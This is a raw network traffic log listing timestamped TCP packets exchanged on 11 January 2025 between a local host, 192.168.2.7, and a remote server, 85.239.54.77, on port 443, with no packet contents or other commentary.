Jan 11, 2025 09:26:35.987478971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.987550020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.987586021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.987592936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.987628937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.987653971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.987916946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.987962008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.987982035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.987993002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988022089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988048077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988315105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988362074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988393068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988399982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988435030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988461018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988790035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988831997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988859892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988866091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.988902092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.988924980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.989655018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.989696026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.989729881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.989743948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.989773035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.989804029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.990135908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.990181923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.990211964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.990217924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.990247011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.990272999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.990545988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.009324074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.009351015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.009469032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.009494066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.009557009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.073060036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073082924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073204994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.073240995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073287964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.073812962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073832035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073898077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.073904037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.073945045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.074421883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.074440002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.074502945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.074508905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.074553967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.075124025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075145006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075236082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.075242043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075277090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.075797081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075814962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075860977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.075869083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.075908899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.075930119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.076344967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076369047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076411009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.076416016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076457977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.076858044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076877117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076926947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.076941013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.076981068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.078424931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.096796036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.096859932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.096894979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.096919060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.096955061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.096981049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.160001993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160093069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160130024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.160161972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160182953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.160207987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.160576105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160618067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160650015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.160655975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.160703897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.161336899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.161376953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.161387920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.161406040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.161417007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.161457062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.161472082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.162790060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.162836075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.162854910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.162866116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.162889004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.162906885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.163419008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.163460016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.163474083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.163496971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.163521051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.163542032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164100885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164143085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164156914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164175987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164197922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164211988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164827108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164869070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164880991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164890051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.164923906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.164936066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.172158957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.183187008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.183238029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.183265924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.183291912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.183319092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.183334112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.246720076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.246754885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.246790886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.246819019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.246845007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.246864080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.247420073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247442007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247466087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.247473001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247499943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.247514009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.247916937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247940063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247973919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.247978926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.247998953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.248009920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.249492884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.249511003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.249547005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.249552965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.249593019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.249609947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.250211000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.250227928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.250255108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.250260115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.250291109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.250303030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.250927925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.250952959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.250989914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.250996113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.251013041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.251030922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.251610994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.251629114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.251658916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.251663923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.251692057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.251709938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.269855976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.269881964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.269937992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.269958019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.269982100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.270000935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.333929062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.333955050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.334022045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.334043026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.334083080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.334101915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.334511995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.334570885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.334599972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.334605932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.334661007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.334661007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.335139036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.335180044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.335201979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.335210085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.335249901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.335249901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.336298943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.336364985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.336395025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.336400986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.336421967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.336435080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.337090969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337138891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337152958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.337158918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337188959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.337485075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337543964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337558985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.337565899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.337593079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.337613106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.338325024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.338373899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.338388920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.338396072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.338430882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.338448048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.345205069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.356825113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.356895924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.356960058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.356992006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.357012987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.357038021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.420476913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.420509100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.420538902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.420550108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.420588017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.420608997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.421906948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.421971083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.421978951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.422002077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.422012091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.422040939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.422116995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.422158003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.422184944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.422193050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.422214985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.422233105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423028946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423046112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423104048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423120022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423131943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423171043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423609972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423667908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423651934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423695087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.423722029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.423733950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424107075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424146891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424177885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424185991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424209118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424235106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424714088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424752951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424767017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424777985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.424797058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.424820900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.443743944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.443793058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.443831921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.443872929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.443897009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.443921089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.467861891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.507337093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507363081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507425070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.507461071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507513046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.507850885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507898092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507920980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.507929087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.507955074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.507982016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.508666992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.508713007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.508732080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.508745909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.508773088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.508784056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.509773970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.509814024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.509836912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.509846926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.509882927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.509892941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.510560036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.510576010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.510608912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.510616064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.510638952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.510662079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.511279106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511297941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511348009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.511356115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511400938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.511818886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511833906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511899948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.511899948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.511909962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.511948109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.530404091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.530432940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.530476093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.530498981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.530531883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.530551910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.543256998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594049931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594074965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594115019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594140053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594166040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594187975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594737053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594753027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594788074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594795942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.594829082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.594846964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.595350027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.595365047 CET	443	49941	85.239.54.77	192.168.2.7
